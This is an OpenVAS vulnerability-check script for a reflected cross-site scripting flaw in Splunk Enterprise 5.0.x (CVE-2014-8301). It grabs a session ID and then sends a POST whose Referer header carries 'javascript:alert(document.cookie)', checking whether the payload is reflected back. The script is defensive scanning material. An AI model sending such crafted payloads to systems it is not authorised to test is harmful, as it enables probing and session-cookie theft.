Splunk Enterprise 'Referer' Header Cross-Site Scripting Vulnerability -02 Feb15

2015-02-05T00:00:00
ID OPENVAS:1361412562310805333
Type openvas
Reporter Copyright (C) 2015 Greenbone Networks GmbH
Modified 2018-10-12T00:00:00

Description

The host is installed with Splunk and is prone to cross-site scripting vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_splunk_referer_header_xss_vuln02_feb15.nasl 11872 2018-10-12 11:22:41Z cfischer $
#
# Splunk Enterprise 'Referer' Header Cross-Site Scripting Vulnerability -02 Feb15
#
# Authors:
# Deependra Bapna <bdeependra@secpod.com>
#
# Copyright:
# Copyright (C) 2015 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = "cpe:/a:splunk:splunk";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.805333");
  script_version("$Revision: 11872 $");
  script_cve_id("CVE-2014-8301");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"$Date: 2018-10-12 13:22:41 +0200 (Fri, 12 Oct 2018) $");
  script_tag(name:"creation_date", value:"2015-02-05 12:04:16 +0530 (Thu, 05 Feb 2015)");
  script_name("Splunk Enterprise 'Referer' Header Cross-Site Scripting Vulnerability -02 Feb15");

  script_tag(name:"summary", value:"The host is installed with Splunk and is
  prone to cross-site scripting vulnerability.");

  script_tag(name:"vuldetect", value:"Send a crafted request via HTTP GET and
  check whether it is able to read cookie or not.");

  script_tag(name:"insight", value:"Flaw is due to improper validation of
  user-supplied input passed via the 'Referer' header before being returned
  to the user.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote
  attacker to execute arbitrary script code in a user's browser session within
  the trust relationship between their browser and the server.");

  script_tag(name:"affected", value:"Splunk version 5.0.x before 5.0.10");

  script_tag(name:"solution", value:"Upgrade Splunk to version 5.0.10 or
  later.");

  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"qod_type", value:"exploit");

  script_xref(name:"URL", value:"http://www.splunk.com/view/SP-CAAANHS#announce4");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2015 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_splunk_detect.nasl");
  script_mandatory_keys("Splunk/installed");
  script_require_ports("Services/www", 8000);
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!http_port = get_app_port(cpe:CPE)) exit(0);
if(!dir = get_app_location(cpe:CPE, port:http_port)) exit(0);

sndReq = http_get(item:string(dir, "/account/login"), port:http_port);
rcvRes = http_keepalive_send_recv(port:http_port, data:sndReq);

ses_id = eregmatch(pattern:string("session_id_" + http_port + "=([0-9a-z]*)"),
                   string:rcvRes);
if(!ses_id[1]){
   exit(0);
}

host = http_host_name(port:http_port);

url = dir + "/i18ncatalog?autoload=1";

sndReq = string("POST ", url, " HTTP/1.1\r\n",
                "Host:", host, "\r\n",
                "Accept-Encoding: gzip, deflate","\r\n",
                "Referer:javascript:alert(document.cookie)","\r\n",
                "Cookie:ses_id_", http_port, "=", ses_id[1],"\r\n",
                "Content-Length: 0","\r\n\r\n");
rcvRes = http_send_recv(port:http_port, data:sndReq);

if("alert(document.cookie)" >< rcvRes && ">405 Method Not Allowed<" >< rcvRes)
{
  security_message(http_port);
  exit(0);
}

exit(99);